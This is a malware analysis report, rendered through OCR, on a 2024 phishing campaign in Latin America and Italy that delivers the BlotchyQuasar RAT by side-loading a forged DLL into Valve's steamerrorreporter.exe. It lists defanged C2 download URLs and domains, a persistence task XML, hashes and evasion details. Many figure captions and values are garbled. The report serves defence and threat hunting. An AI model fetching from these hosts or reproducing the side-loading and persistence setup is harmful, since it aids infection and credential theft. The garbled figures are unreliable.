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1 Executive Summary

A sophisticated malspam campaign was uncovered targeting Latin American countries,
with a particular focus on Brazil, on August 19, 2024. This operation utilizes a highly
deceptive phishing email to trick users into executing a malicious MSI file, initiating
a multi-stage infection. The core of the attack leverages DLL side-loading, where a
legitimate executable from Valve Corporation is used to load a trojanized DLL, thereby
bypassing standard security defenses.

Once active, the malware, a variant of QuasarRAT known as BlotchyQuasar, is capa-
ble of a wide range of malicious activities. It is designed to steal sensitive browser-stored
credentials and banking information, the latter through fake login windows mimicking
well-known Brazilian banks. The threat establishes persistence by modifying the Win-
dows registry , captures user keystrokes through keylogging , and exfiltrates stolen data
to a Command-and-Control server using encrypted payloads. Despite its advanced ca-
pabilities, the malware’s code exhibits signs of rushed development, with inefficiencies
and poor error handling that suggest the threat actors prioritized rapid deployment over
meticulous design. Nonetheless, the campaign’s extensive reach and sophisticated mech-
anisms pose a serious and immediate threat to the targeted regions, underscoring the
need for robust cybersecurity defenses.
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2 Introduction

2.1 Objective

The objective of this Malware Analysis Report is to provide an in-depth understanding
of the behavior, architecture, and intent of a malicious software instance. At its core,
this report serves as a crucial tool for identifying the characteristics and operations of the
threat, offering detailed insights that can be used to map the broader attack landscape.
By dissecting the capabilities and infrastructure of the malware, analysts are able to build
a clear picture of its functionality, origin, and potential impact.

Mapping a threat accurately is of paramount importance for defenders. A well-crafted
malware analysis report helps connect individual malicious artifacts with broader attack
campaigns and identifies common Techniques, Tactics, and Procedures (TTPs) employed
by adversaries. This intelligence feeds into a larger knowledge base that allows cyber-
security teams to understand how threats evolve, recognize new campaigns with similar
signatures, and anticipate potential next steps of attackers. The report is not merely an
exercise in detailing technical specifics but also a way of enriching the collective under-
standing of a Threat Actor’s capabilities, motivations, and behaviors.

Actionable Threat Intelligence derived from malware analysis is particularly valuable
because it enables proactive defenses. With a structured understanding of the malware’s
Indicators of Compromise (I0Cs), behavioral patterns, and infrastructure, Threat Hunt-
ing and Monitoring teams are equipped with the context needed to seek out malicious
activity before it fully manifests. Threat Hunters can leverage this intelligence to identify
adversarial presence across their environments more effectively, while Monitoring teams
can enhance detection logic and fine-tune alerts to identify these threats more accurately
in real time. This coordinated approach bolsters an organization’s defense posture, mak-
ing it possible to detect and respond to even well-structured, sophisticated threats that
are designed to evade traditional security mechanisms.

Ultimately, a comprehensive malware analysis report provides not only a retrospective
view of what a threat has done but also equips defenders with the tools and knowledge
to better predict, detect, and prevent future attacks. This knowledge empowers security
teams to make informed decisions, prioritize vulnerabilities, and improve their capabilities
against Advanced Persistent Threats (APTs).

2.2 Infection Chain
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Figure 1: Infection Chain Diagram
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3 Methodology

Analyzing the malware involved a comprehensive approach utilizing both static and dy-
namic analysis techniques to thoroughly understand its structure, behavior, and potential
impact. By combining these two approaches, it is possible to gain a comprehensive un-
derstanding of the malware’s capabilities and objectives. Static analysis provided insights
into its structure and obfuscation methods, while dynamic analysis revealed its real-time
behavior and interactions with the system. This dual approach was essential in developing
effective detection and mitigation strategies against this sophisticated threat.

3.1 Static Analysis

Static analysis is a fundamental technique in malware analysis that involves examining the
code of malicious software without executing it. This approach focuses on understanding
the structure, logic, and intent of the malware through methods such as disassembling,
decompiling, and reviewing its binary or script content. By analyzing the static properties
of malware, such as strings, embedded resources, file headers, and imported functions,
researchers can gather valuable insights into its capabilities, communication patterns, and
potential targets.

The main goal of static analysis is to dissect the malware’s inner workings, identify
hardcoded Indicators of Compromise (1oCs) like IP addresses, URLSs, or file paths, and
infer its behavior without the risk of executing harmful code. This method is particu-
larly useful for uncovering obfuscation techniques, encrypted payloads, and multi-stage
architectures, which are often employed by modern malware to hinder direct analysis.

However, static analysis comes with its challenges. Advanced malware frequently uses
obfuscation, packing, or encryption to conceal its code and deter examination. Analysts
must rely on specialized tools and techniques, such as deobfuscation scripts, unpackers,
and cryptographic analysis, to overcome these barriers. Moreover, analyzing assembly-
level or machine code demands a high level of expertise, as the complexity of the malware’s
logic can obscure its true intent.

Despite its limitations, static analysis is invaluable as it allows analysts to preemp-
tively assess a malware sample’s potential threats, providing critical intelligence without
the inherent risks of execution. Combined with dynamic analysis, it forms a comprehen-
sive approach to malware investigation, equipping defenders with the necessary under-
standing to develop effective detection and mitigation strategies.

3.2 Dynamic Analysis

Dynamic analysis is a cornerstone of malware analysis, enabling researchers to observe the
behavior of malicious software in real-time by executing it within a controlled, isolated
environment. This approach is particularly valuable for analyzing modern malware that
employs sophisticated obfuscation techniques, rendering static analysis alone insufficient.
By simulating realistic conditions, analysts can examine how malware interacts with the
file system, registry, processes, network, and system APIs, providing direct insights into
its functionality and intent.

The objective of dynamic analysis is to uncover the behavioral profile of the malware,
revealing actions such as data ezfiltration, Command-and-Control communication, cre-
dential theft, and persistence mechanisms. It also aids in identifying Indicators of Compro-
mise (IoCs), such as IP addresses, domains, and modified system configurations, which
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are crucial for detection and response efforts. This method is not without challenges,
as modern malware often incorporates anti-analysis techniques designed to detect and
evade Sandboxed Environments, Virtual Machines, or Debugging Tools. These measures
include delaying execution, checking for artifacts indicative of analysis environments, and
employing runtime obfuscation to conceal its activities.

Despite these difficulties, dynamic analysis remains a critical tool in the fight against
advanced threats. Its ability to reveal runtime behavior complements static analysis,
providing a comprehensive understanding of the malware’s objectives and capabilities.
While the process can be resource-intensive and time-consuming, its contributions to
cybersecurity are indispensable, offering valuable intelligence to counteract and mitigate
malicious campaigns effectively.
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4 Quasar RAT a.k.a. BlotchyQuasar

QuasarRAT, a potent and versatile Remote Access Trojan, presents a significant and
evolving threat in the contemporary cybersecurity landscape. Its open-source nature,
originally intended for legitimate administrative purposes, has been twisted by a wide
array of malicious actors, from sophisticated state-sponsored groups to individual cy-
bercriminals. This analysis will explore the technical capabilities of QuasarRAT, delve
into the profile of its creator and the dichotomy of its intended use versus its nefarious
applications, identify the prominent threat actors who employ it, and examine some of
the most notorious campaigns where it has played a central role’.

Developed in C# and first appearing around 2014, QuasarRAT offers a comprehensive
suite of functionalities that make it an attractive tool for remote system management.
These capabilities include, but are not limited to, keylogging to capture sensitive user
input, comprehensive file system access for data exfiltration and manipulation, the ability
to establish a reverse proxy for covert communication, and the power to execute arbitrary
code on a compromised machine. A key technical characteristic that enhances its stealth
is the adept use of Dynamic-Link Library (DLL) side-loading. This technique allows
the malware to load malicious DLLs by exploiting how legitimate applications search for
and load these libraries, effectively camouflaging its presence and evading detection by
traditional security solutions. This method, combined with encrypted C'2 communication,
makes QuasarRAT a formidable and difficult-to-detect threat.

The creator of QuasarRAT, who operated under the alias quasar, originally developed
the tool as a legitimate, open-source remote administration tool. The intention was to
provide system administrators with a free and powerful utility to manage their networks.
This benevolent origin, however, has been completely overshadowed by its widespread
adoption by the malicious community. The very features that make it a useful admin-
istrative tool—remote access, file transfer, and process management—are precisely what
make it an effective weapon in the hands of attackers. This dual-use nature highlights a
persistent challenge in the software world, where powerful tools can be easily repurposed
for illicit activities. The open-source availability of its code on platforms like GitHub
further exacerbates this issue, as it allows threat actors to freely modify and customize
the RAT to suit their specific operational needs and to develop new variants that can
bypass updated security measures?.

The spectrum of threat actors employing QuasarRAT is broad and varied. At one
end are highly sophisticated Advanced Persistent Threat (APT) groups, often with ties to
nation-states. A prominent example is APT10, also known as Cicada or Stone Panda, a
Chinese-linked group that has been observed using QuasarRAT in numerous campaigns
targeting a wide range of sectors, including government, defense, and technology, across
the globe. For these actors, QuasarRAT serves as a reliable and customizable tool for
espionage, data theft, and establishing a long-term foothold within target networks. An-
other notable state-sponsored actor is the Kimsuky group, believed to be of North Korean
origin, which has utilized QuasarRAT in its intelligence-gathering operations.

Beyond nation-state actors, this threat is also a favored tool among cybercriminal
organizations and individual hackers. Its ease of use and readily available documentation
lower the barrier to entry for less sophisticated attackers. These groups often deploy
QuasarRAT in phishing campaigns to gain initial access to systems, with the ultimate

thttps:/ /malpedia.caad.fkie.fraunhofer.de/details /win.quasar_rat
Zhttps://insights.bridewell.com /hubfs/Cyber %20 Threat %20Intelligence %20Report %202025. pdf
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goal of financial gain through ransomware deployment, credential theft, or the sale of
stolen data on underground forums. The versatility of the RAT allows for a range of
criminal activities, making it a persistent threat to businesses and individuals alike.

Several high-profile cases underscore the significant impact of QuasarRAT. In numer-
ous instances, it has been a key component in campaigns targeting critical infrastructure
and government entities. For example, threat actors have leveraged this tradecraft in
attacks against Ukrainian organizations, often delivered through spear-phishing emails
containing malicious attachments®. These campaigns aim to disrupt operations and ex-
filtrate sensitive information. The use of QuasarRAT in these contexts demonstrates its
effectiveness as a tool for cyber warfare and political espionage.

Furthermore, the evolution of QuasarRAT’s deployment tactics is evident in various
campaigns. Threat actors have been observed combining this RAT with other malware
and tools to create more complex and effective attack chains. For instance, it has been
used in conjunction with information stealers to maximize data harvesting from compro-
mised systems. The continuous development of new variants and delivery methods by
malicious actors ensures that QuasarRAT remains a relevant and dangerous threat that
requires constant vigilance and advanced threat detection capabilities to mitigate.

In conclusion, QuasarRAT exemplifies the dual-edged sword of open-source software.
While born from a legitimate desire to create a useful administrative tool, its powerful
features and accessibility have made it a go-to weapon for a wide range of threat actors.
Its technical sophistication, particularly its stealth capabilities, combined with its ease of
customization, ensures its continued prevalence in the threat landscape. The notorious
campaigns in which it has been a key tool serve as a stark reminder of the significant
damage that can be inflicted by this versatile remote access trojan, making it a critical
threat for organizations to understand and defend against.

3https://socprime.com/it /blog/uac-0050-attack-detection-hackers-are-armed-with-remcos-rat-
quasar-rat-and-remote-utilities-to-target-ukraine-once-again /
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5 Analysis Results

5.1 C2 Infrastructure

Upon close examination, the IP address 15.228.186/.]93 reveals itself to be a significant
node in a malicious cyber infrastructure, actively engaged in the distribution of malware.
A deep dive into its activity and context provides a clear picture of its role in ongoing
cyber threats. The address is geolocated to Sao Paulo, Brazil, and is part of the AS16509
Autonomous System, which belongs to Amazon Data Services Brazil (Fig. 2). The
decision by threat actors to operate from within a major cloud provider’s network, such
as AWS, is a deliberate and common tactic. It allows them to leverage the provider’s
reputable and vast IP space, complicating efforts by network defenders to block their
activities without risking the interruption of legitimate cloud-hosted services.

IP Geolocation
City S&o Paulo Visualizza mappa pil grande uarulhos I

. K tail
State S&o Paulo Laclmaltinba [sp70]
Country B Erazil B (178}
Postal 01000-000 San Paolo

{176]
Local time 06:44 PM, Thursday, June 26, 2025 Sl S hetans
do Sul

da S

Timezone America/Sao_Paulo e _ma Godgle
tes g=p i patimappa ' Termini  Segnala un errore nellamappa

Coordinates -23.5475,-46.6361 .23.5475,-16.6361

Figure 2: Geographical location of the subjected server.

The primary function of this IP appears to be the hosting and dissemination of ma-
licious payloads. Open-source intelligence and data from malware repositories like Mal-
wareBazaar and ANY.RUN have directly implicated 15.228.186/.]93 in these activities.
For instance, it was observed serving as a direct download source for a malicious loader,
specifically retrieving a file named Rar.exe from a URL constructed with the IP address.

Further investigation, corroborated by threat intelligence feeds such as Maltra:l, firmly
associates the IP with the Command-and-Control (C2) infrastructure for QuasarRAT.
The latter is a potent and well-known open-source Remote Access Trojan (RAT) built on
the .NET framework. Its widespread use stems from its extensive feature set, which in-
cludes capabilities for keylogging, credential theft from browsers and applications, screen
capturing, establishing a reverse proxy for covert network access, and comprehensive file
system manipulation. The open-source nature of QuasarRAT enables various malicious
actors to easily adapt and deploy it for their specific campaigns.

The malicious infrastructure extends beyond the single IP address, incorporating
a network of domains that resolve to 15.228.186/.]93. These domains, including ag-
icltursement/.]ink, cfestlolequiep/.]store, gastronomleol.[lat, mercantokiko/./ryz, noticias-
novidads/. Jxyz, varjolatijolos/. [space, and the dynamic DNS hostname coletasegural. [ddns/.
[net, form the functional backbone of the C2 communications. The use of varied, often
newly registered, top-level domains alongside dynamic DNS services is a classic strat-
egy to build a resilient and evasive C2 network, allowing for rapid changes to evade
blacklisting.

The operational Tactics, Techniques and Procedures (TTPs) employed by the opera-
tors of this infrastructure follow a familiar pattern. An attack would typically commence
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Fw: Udienza presso la centrale di polizia - (4472086 ) - Mozilla Thunderbird - 0O 0
File Edit View Go Message Tools Help
& wiite  J Tag v
From  AMMINISTRAZIONE FISCALE. <MinisterodellaGiustizia@webisp2 trilogik.it> € % Reply | o Reply All v o Forward i i More

T F:] 12:47
subject Pws Udienza presso la centrale di polizia - ( 4472086)

Ministero dell'Interno

Udienza presso la centrale di polizia
Numero di udienza No.0010000102017-0001
Settembre 2024 i| giorno 077092024,

Numero del processo N, VCZPNAS068 (2024)

Per maggiori informazioni, consultare lallegato online al seguente | ink:

i) heeps:ffattendereunistante kezow.com/

Figure 3: Malspam E-mail sent to Italian users.

with an initial access vector like a phishing email, which persuades a user to execute
the initial loader. Once running, this downloader establishes contact with the C2 server
at 15.228.186/.]93 to pull down the next stage of the attack, in this case, the Quasar-
RAT payload. The malware then entrenches itself on the victim’s system, leveraging
defense evasion techniques while it establishes a persistent, encrypted channel back to
the C2 server. Through this channel, the attacker gains full remote control over the com-
promised machine, enabling data exfiltration, surveillance, and the potential to use the
machine as a pivot point for further attacks within the network. Given these activities, it
is imperative for network defenders to block this IP address and its associated domains at
their network perimeters, hunt for the identified malware hash within their environments,
and maintain vigilant security practices to mitigate the risk posed by such threats.

5.2 Dissecting the attack

On August 19, 2024, a malspam campaign titled Fw: Informazioni sulle entrate gov-
ernative. - (2607579)* was distributed to an undisclosed number of Italian recipients
(Fig. 3). Concurrently, a similar campaign was detected, primarily targeting users in
Latin American countries (including Argentina, Brazil, Mexico, Chile, Colombia, Costa
Rica, Panama, Ecuador, Peru, Uruguay, and Venezuela), with a particular emphasis on
Brazilian users. The infection chain is initiated through an email, which deceives the re-
cipient into downloading a malicious MST file under the pretense of viewing non-existent
documents. In the Italian version, for instance, the email falsely suggests that the victim
needs to review evidence as part of an upcoming trial in which they are involved.

Both [Italian and LATAM users were than tricked to download a malicious MST file.
However, for Latin American victims, the installer 67deel.msi is subsequently down-
loaded and, when executed, attempts to connect to the following URLSs to retrieve both
a malicious archive (Fig. 4) and a legitimate instance of WINRAR:

4https://cert-agid.gov.it /news/cresce-lattivita-di-quasar-rat-blotchyquasar-contro-gli-utenti-di-
istituti-bancari-italiani/
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o http://15.228.186]]93/33354365346/Rar.exe
e http://15.228.186[.]93/33354365346 /xxwewe33.rar

sounds [5] api-ms-win-core-console-11-1-0.dll [] api-ms-win-core-datetime-11-1-0.dll [5] api-ms-win-core-debug-11-1-0.dil
=] api-ms-win-core-errorhandling-11-1-0.dil [] api-ms-win-core-file-11-1-0.dil [2] api-ms-win-core-file-11-2-0.d1l [2] api-ms-win-core-file-12-1-0.dil
2] api-ms-win-core-handle-11-1-0.dIl [£] api-ms-win-core-heap-11-1-0.dl 2] api-ms-win-core-interlacked-1-1-0.dil 2] api-ms-win-care-libraryloader-11-1-0.dil
] api-ms-win-core-localization-11-2-0.dil [5] api-ms-win-core-memory-11-1-0.dll [%] api-ms-win-core-namedpipe-11-1-0.dil [%] api-ms-win-crt-stdio-1-1-0.dll
=] api-ms-win-crt-string-11-1-0.d1l [ api-ms-win-crt-time-11-1-0.d1l [#] api-ms-win-crt-utility-1-1-0.d1l [%] BouncyCastle Crypto.dil
=] concrt140.d1 @ configsxml [#] decbadildn D EUWI3E3IE exe
=] ibEGLAN [+] msvep140.dil (2] msvep140_1.d11 [#] solLite Interop.dil
%] System Buffers.dil [£] System.Data SOLite.dll 2] System Memory.dil [%] system NumericsVectors.dil
5] System Runtime.CompilerServices.Unsafe.dil [5) system TextJsondi & terabox license. pdf i terabox_logaico
%] tier0_sb4.dll [ veruntime 140.011 [ veruntime140_1.911 <] wstdlib_s64.dIl

Figure 4: Content embedded inside zzwewe33.rar archive.

Once both these files were downloaded, eiuwi383ie.exe was executed.

To gain a comprehensive understanding of this threat’s capabilities, several analyses
were conducted on the contents of the zrwewe33.rar archive. Initially, the analysis re-
vealed the presence of both a PDF and an ICO file associated with Teraboz, a document-
sharing platform. This suggests that the attacker attempted to obscure the true nature
of the executable by including misleading elements, such as fake evidence pointing to a
Terabozr instance, which could be perceived as a legitimate tool for viewing trial-related
documentation.

Further analyses on the available config.xml file (Fig. 5) allows to gather the following
useful Intelligence:

e < Author> Greys </Author>
e < Description> Hopkinsville goblin </Description>
e < Userld> DESKTOP-FBCFLB&\kikoooioiooioi </Userld>

e < RunLevel> HighestAvailable </RunLevel>

v<Task xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"” version="1.4">
v <RegistrationInfo>
<Author>Greys</Author>
<Description>Hopkinsville goblin</Description>
</RegistrationInfo>
v <Principals>
v<Principal id="Author">
<UserId>DESKTOP-FBCFLB8\kikoooioiooioi</Userld>
<RunLevel>HighestAvailable</RunLevel>
</Principal>
</Principals>
v<{Triggers>
v<LogonTrigger>
<Enabled>true</Enabled>
<f/LogonTrigger>
</Triggers>
v <Settings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
<AllowHardTerminate>true</AllowHardTerminate>
<StartWhenAvailable>false</StartWhenAvailable>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
v<IdleSettings>
<Duration>PT1@M</Duration>
<WaitTimeout>PT1H</WaitTimeout>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnldle>false</RestartOnldle>

Figure 5: config.xml information snippet.
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Further investigations conducted on etuwi383ie.ere confirmed it as a legitimate in-
stance of the well-known steamerrorreporter.exe program, a tool used by Valve’s Steam
marketplace to manage execution errors. A side-by-side compilation comparison between
the executable found in the malicious archive and the one deployed in the latest Steam in-
stallation revealed a key difference: the legitimate version is identified as 08.97.15.28 (Fig.
6), whereas the compromised version, dated August 3, 2024, is labeled as 08.92.64.03
(Fig. 7).

6 c\program files (x86)\steam\steamerrorreportert property value
:; ;“d""““‘ “"’“’"“; 22697 footprint > sha256 FEEC1390E73DA39D6161401D354D2F 23AE71 ACA3256C6ACOBD7EADES1 2EF3F9
- footprints (tyfe > sha236) location rsre:0x0009C17C
P] virustatal (0/53) language English-US
> dos-header (size > 64 bytes) 9429 g . N
B dos-stub (size > 224 bytes) code-page Unicode UTF-16, little endian
e o : LegalCopyright Copyright (C) 2010 Valve Corporation
» file-header (executable > 64-bit) InternalName steamerrorreporter.exe (buildbot_steam-relclient-win64-builder_steam_rel_clien...
.+ optional-header (subsystem > GUI) FileVersion 08.97.15.38
-Hl directories (count > 9) CompanyName Valve Corporation
. > sections (count > 7) ProductVersion 03.00.00.01
-] libraries (group > execution) FileDescription steamerrorreporter.exe
| imports (flag > 152) Source Control ID 8971538
3 export ) OriginalFilename steamerrorreporter.exe
=0 thread-local-storage (r ProductName Steam
Figure 6: steamerrorreporter.exe version metadata.
-4 chusers\sam\desktoplxxwewed N eiuwi3t3ie.exe property value

[~ Indictors (groups> AR) footprint > sha?Ss £0016DB4E96545F6DFDFDE3BAASCABEB400AT ED2TBF IFEAG2522216962FBT1C
90 footprints (count > 19)

L)Y virustotal (0/75) location rsre:0x0009B97C
-] virustotal (0/7
H 3 ish-|
|- b dos-header (size > 64 bytes) Ian:euage ﬁ"?"’d L:JSTF 16 little endi
B8 dos-stub (size > 216 bytes) cocepogs TROE ST S TR nclEn
b " : " LegalCopyright Copyright (C) 2010 Valve Corporation
S file-header (executable > 64-bit) InternalName steamerrorreporter.exe (buildbot_steam-relclient-win64-builder_steam_re|_clien...
" optional-header (subsystem > GUI) FileVersion 08.92.64.03
... ¥y directories (count > 9) CompanyName Valve Corporation
.. sections (file > unknown) ProductVersion 03.00.00.01

libraries (group > execution) FileDescription steamerrorreporter.exe

imports {flag > 149) Source Control ID 8926403

> ! OriginalFilename steamerrorreporter.exe
ProductName Steam

Figure 7: eiuwi383ie.exe version metadata.

Given the legitimate nature of this program, the malicious payload is likely embedded
in one of the DLLs included within the zzwewe33 archive. A further comparison of the
imported functions between these files revealed that both versions interact with the same
libraries, suggesting that the malicious modifications are concealed within the DLLs,
designed to blend in with the legitimate code.

) c\program files (x6)\steam\steamemomeportert | fibrary (5) duplicate (0] flag(2)  first-thunk-original (INT)  first-thunk (IAT) type (1) imports (152)  group (0)
a4 indicaters (libraries > flag) KERNEL32 6l 5 t 110

9% footprints {type > sha236) % m ) EA plicit m
P virustotal (0/58) p

=

In Il 1
+ dos-header (size > 64 bytes) :m-‘]“&“ .;3 .
B dos-stub (size » 224 bytes) PSAPILDLL x 2 execution
Y " ; WININET.dII x 11 network

» file-header (executable » 64-bit)

> optional-header (subsystem > GUI)
= directories (count > 9)

> sections (count > 7)

abe strings (flag > 34)
41 debug (streams > 3)

I manifest (level > asinvoker)

{13 version (FileDescription > steamemcmeporter.
[3 certificate (issued-to > Valve Corp.)

]

Figure 8: Imports of legit steamerrorreporter.exe which match the ones of the forged
counterpart.
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Upon examining the elements depicted in Fig. 8, wstdlib_s64.dll was identified as
the malicious file impersonating its legitimate counterpart. To ensure compatibility and
avoid detection, the malicious version of this library exports only the specific functions
required by steamerrorreporter.eze (Fig. 9), omitting any unnecessary methods (Fig.
10). This selective export approach minimizes the likelihood of compatibility issues while
maintaining the malware’s stealth (fig. 11).

V_snprintf
nwprin
V strncat
V UTF8ToUTF16
V UTF16ToUTF8
V StripTrailingSlash
V StriplastDir
V FixSlashes
V strncpy
V strncat length
V_Rem lash

V IsAbsolutePath
V FixDoubleSlashes

Ox000000000004ED32

0x000000000004ED40
0x000000000004ED S0
O 000000000004EDSC
O 000000000004 EDBC
0x000000000004EDTC
0x000000000004ED94

O 000000000004EDAB
O 000000000004EDES
O 000000000004EDC2
O 000000000004EDDE
Ox000000000004EDEC
0000000000004 EEDD

DO0D0OD4EDDS 156

JEDE 13:

D04EEQC 122 (D072

Figure 9: steamerrorreporting.exe importing functions from wstdlib_s64.dll.

= eusers\samidesktopivstdlib_s64.d1l
Jad indicators (exports > count)
—9¥ footprints (count > 17)
Y virustotal (0/74)
> dos-header (size > 64 bytes)
~@ dos-stub (size > 224 bytes)
> file-header {dll > 64-bit)
> optional-header (subsystem > GUI)
—® directories (count > 10)
» sections (file > unknown)

Pl libraries (count > 3)

4] imports (flag > 130)
"% exports (count > 272)
=0 thread-local-storage (nfa
- :a MET (nfa
14 resources (count > 2)
—abe strings (count > 12103)
47 debug (streams > 3)
H manifest (nfa
{18 wversion (FileDescription > wstdlib_ s.dil)
[ certificate (Valve Coro. > 11624 butes)

W

library (3)
KERNEL32.dIl
USER32.dIl

.ED

chusers\samdesktoplooowewe3d3\vstdlib_s64. ~

|~ indicators (virustotal > scare)
- 98 feotprints (count > 10)
Y virustotal (42/75)

»  dos-header (size > 64 bytes)

Bl dos-stub (size > 64 bytes)

» file-header (dll > 64-bit)
> optional-header (subsystem > consaole)

Y directories (count > 7)
b sections (count = 4)
P libraries (mscoree.dil)
& imports (_CorDlIMain)
[ exports (iterns > 13)

=0 thread-local-storage (n/a
% JNET {module > 5I1170)
(14 resources (count > €)

L ame strings (count > 54708)

L debu

LB manifest (n

| (i8] version (OriginalFilename > vstdlib s64.d1l ¥

g (n/a

>

library (1)
mscoreedll

Figure 10: Libraries count differences between legit and forged wvstdlib_s64.dll instances.
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pestudio 9.58 - Malware Initial Assessment - w pestudio 9.58 - Malware Initial Assessment - ww

file settings about file settings about
wh X8 % b < B8 ?
=7 clusers\samidesktop\wvstdlib_s64.dlil E]@ c\users\sam\desktoplooxwewe33\wstdlib_s64. A

a4 indicators (virustotal > score)
0¥ footprints (count > 10)

P virustotal (42/75)

» dos-header (size > 64 bytes)
= dos-stub (srzg > 64 bytes)

> file-header (dII > 64 -bit)

> optional-header (subsystem > console)
B directories (count> 7)

> sections (count > 4)

] libraries (mscoree.dll)

| imports (_CoerDIIMain)

[ exports (items > 13)

=0 thread-local-storage (n/a)

% NET (module > 511170)

i resources (count > 6)
ake strings (count > 54708)

il indicators (exports > count)
g feotprints (count > 17)

] virustotal (0/74)

[« P dos-header (size > 64 bytes)
[ dos- stuh (size » 224 bytes)

b rich-header (n/a
- flle-header (dll > 64-bit)
- I» optional-header (subsystem > GUI)
..... =] directories (count > 10)
» sections (file > unknown)
|27 libraries (count > 3)
~ | imports (flag > 130)
-5 exports (count > 272)

lecal-storage (n/a)

..... =0 thre

¢ JMET (n/a

- resources (count > 2)
~—abe strings (count > 12103)
-4T¢ debug (streams > 3)

----- manifest (n/a

> ystdlib s64.d1IRg
>

version (FileDescription > vstdlib_ s.dll)

[ certificate (Valve Coro, > 11624 bvtes) |
shaZSG‘ 0296621AF2C647A3D4F138036E41AB4FBFE83shal36: 74442C540F07200122CEB3EAB2ABBFDI1709414C6]

Figure 11: Comprehensive side-by-side comparison between legit and forged wst-

dlib_s64.dll.

The following additional main discrepancies were also identified (Fig. 12, Fig. 13 and
14):

e Imports and Exports sizes;

Absence of .NET information on the legit instance;

e Resources size;

Version information;

Digital Signature validity.

footprint > sha256 74442C540F07200122CBB3EAB2ASBFDI1709414C6571E1492CTB5ABTD 1EDATET
first-bytes-hex 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00|
first-bytes-text MZowinnnnnnwnnnnnmnnmnne @ awanwan.

file > size 8928616 bytes

entropy 4436

signature Microsoft NET

tooling nfa

file-type dynamic-link-library

cpu 64-bit

subsystem console

file-version 1.1.0.0

description n/a

ey
Sat Aug 03 23:45:31 2024 | UTC

n/a

n/a
import-stamp n/a

export-stamp Sat Aug 03 23:45:31 2024 | UTC

Figure 12: Forged wstdlib_s64.dll compilation information.
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27 e\users\sam\desktop\wvstdlib_s64.dll
a4l indicators (exports > count)

gg footprints (count > 17)

p] virustotal (0/74)

b dos-header (size > 64 bytes)
BN dos-stub (size > 224 bytes)

b rich-header (n/a

|- file-header (dll > 64-bit)

- » optional-header (subsystem > GUI)
= directories (count > 10)

> sections (file > unknown)

libraries (count > 3)

..l

| imports (flag > 130)
- exports (count > 272)

property
footprint > sha256
lecation
language
code-page
LegalCopyright
InternalName
FileVersion
CompanyName
ProductVersion
FileDescription
Source Control ID
QriginalFilename
ProductMName

value
26753C05FED4665855BACE5E4036009E62949B60E13AB8BD669TCC190AFB0546
rsre:0x000AABFO

English-US

Unicode UTF-16, little endian

Copyright (C) 2005 Valve Corporation

wstdlib_ s.dll (buildbet_steam-relclient-wing4-builder_steam_rel_client_winf4@s...
08.97.15.38

Valve Corporation

03.00.00.01

vstdlib_ s.dll

8971538

wstdlib_s.dll

Steam

Figure 13: Legit vstdlib_s64.dll details.

i indicators (virustotal > score)
- Q? feotprints (count > 10)

|- virustotal (42/75)

> dos-header (size > 64 bytes)
[EH dos-stub (size > 64 bytes)

]

_____ rich-header

> file-header (dll > 64-bit)

> optional-header (subsystem > console)
= directories (count > 7)

> sections (count > 4)

libraries (mscoree.dll)

imports (_CorDIIMain)

-3 exports (items > 13)
#0 thread-local-s

torage (nfa)

|+ MNET (module > 311170)
_'.,h resources (count > 6)

E{ﬂ c\users\sam\desktopoowewe33\vstdlib_s64.

~ | property

footprint > shal56
location
language
code-page
Comments
CompanyName
FileDescription
FileVersion
InternalName
LegalCopyright
LegalTrademarks
OriginalFilename
ProductName
ProductVersion
Assembly Version

value
7135DEDEIEGB24ECTICCCABETTIBIATIBE5T6689F6TTDDOEFEABOACABIET03FF
rsrc:Ox00880AS58

neutral

Unicode UTF-16, little endian

n/a

1.1.00
vstdlib_s64.dll
n/a

n/a
vstdlib_s64.dll
n/
1.1.00
1.1.00

Figure 14: Forged wvstdlib_s64.dll details.

As noted earlier, the digital certificate associated with the fraudulent instance of wvst-
dlib_s64.dll is invalid (Fig. 15 and Fig. 16). Although both versions share the same
signature, the hijacked version contains different code compared to its legitimate coun-
terpart, preventing it from successfully authenticating the library. This indicates a poor
security validation made by steamerrorreporter.exe, which is not able to correctly manage

forged signatures.

issued-to

name
signature-info
issued-by
signing-time
valid-from
valid-to
serial-number
thumbprint
signature-algorithm
program-name
email
more-info-url

Valve Corp.
This digital signature is OK.

DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1

Fri May 24 22:45:34 2024
Thu Oct 07 02:00:00 2021
Thu Oct 10 01:59:59 2024
0689B3BCEB4409880A32D7
n/a

sha256RSA

1976813244

Figure 15: Legit vstdlib_s64.dll Certificate information
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issued-to
name
signature-info
issued-by
signing-time
valid-from

valid-to
serial-number
thumbprint
signature-algorithm
program-name
email

more-info-url

Valve Corp.

La firma digitale dell'oggetto non corrisponde.

DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1
Fri May 24 22:45:19 2024

Thu Oct 07 02:00:00 2021

Thu Oct 10 01:59:59 2024
0689B3BCEB4409890A32D71976B132A4

n/a

sha256RSA

Figure 16: Forged wvstdlib_s64.dll Certificate information.

Since the targeted library has been compiled using a .NET language, resulting in
Intermediate Language (IL) code, it is feasible to reconstruct the original source code
using well-known decompilers such as dnSpy. Fig. 17 presents a side-by-side comparison
of a freshly decompiled version of the library and the same file refactored after three days

of analysis. By examining

the names of the identified namespaces and classes, valuable

insights into the threat’s capabilities and primary objectives on the victim’s workstation

can be inferred (fIG. 17).

{} -
+- %, CphNTOHQCWPWopLEr
+- %%, ngSfqjqDfyxyeHFOyFaD

{}
{}
{}
{}
{}
{}
{}
{}
{}
{}
{}
{}

baOZCFSbMhmWULR}jV
bbBeiXDosxEalLeuVULeQX
8BhQhDnalz)awKiTS
BItUBmMUIWYOjxhopfEXg
goCFBsAQokFIrhVfOBwlig
GxeJTZNdUiVvpzolovziKK]
KHTzsUjRCsqarEunAS
LQIOzpFYjHezveFuLiKfyM
mlwePenorunZQhaci
MZuQQBojiFGtbBeayo
NLcbJNgCzUAmVjgSNaf
NsfXyYOMPWHIkarnMzm
{} nVIgfAKaSUHKfVDTNgX
{} OwsFRZLQbFUZLIDIjMFYag
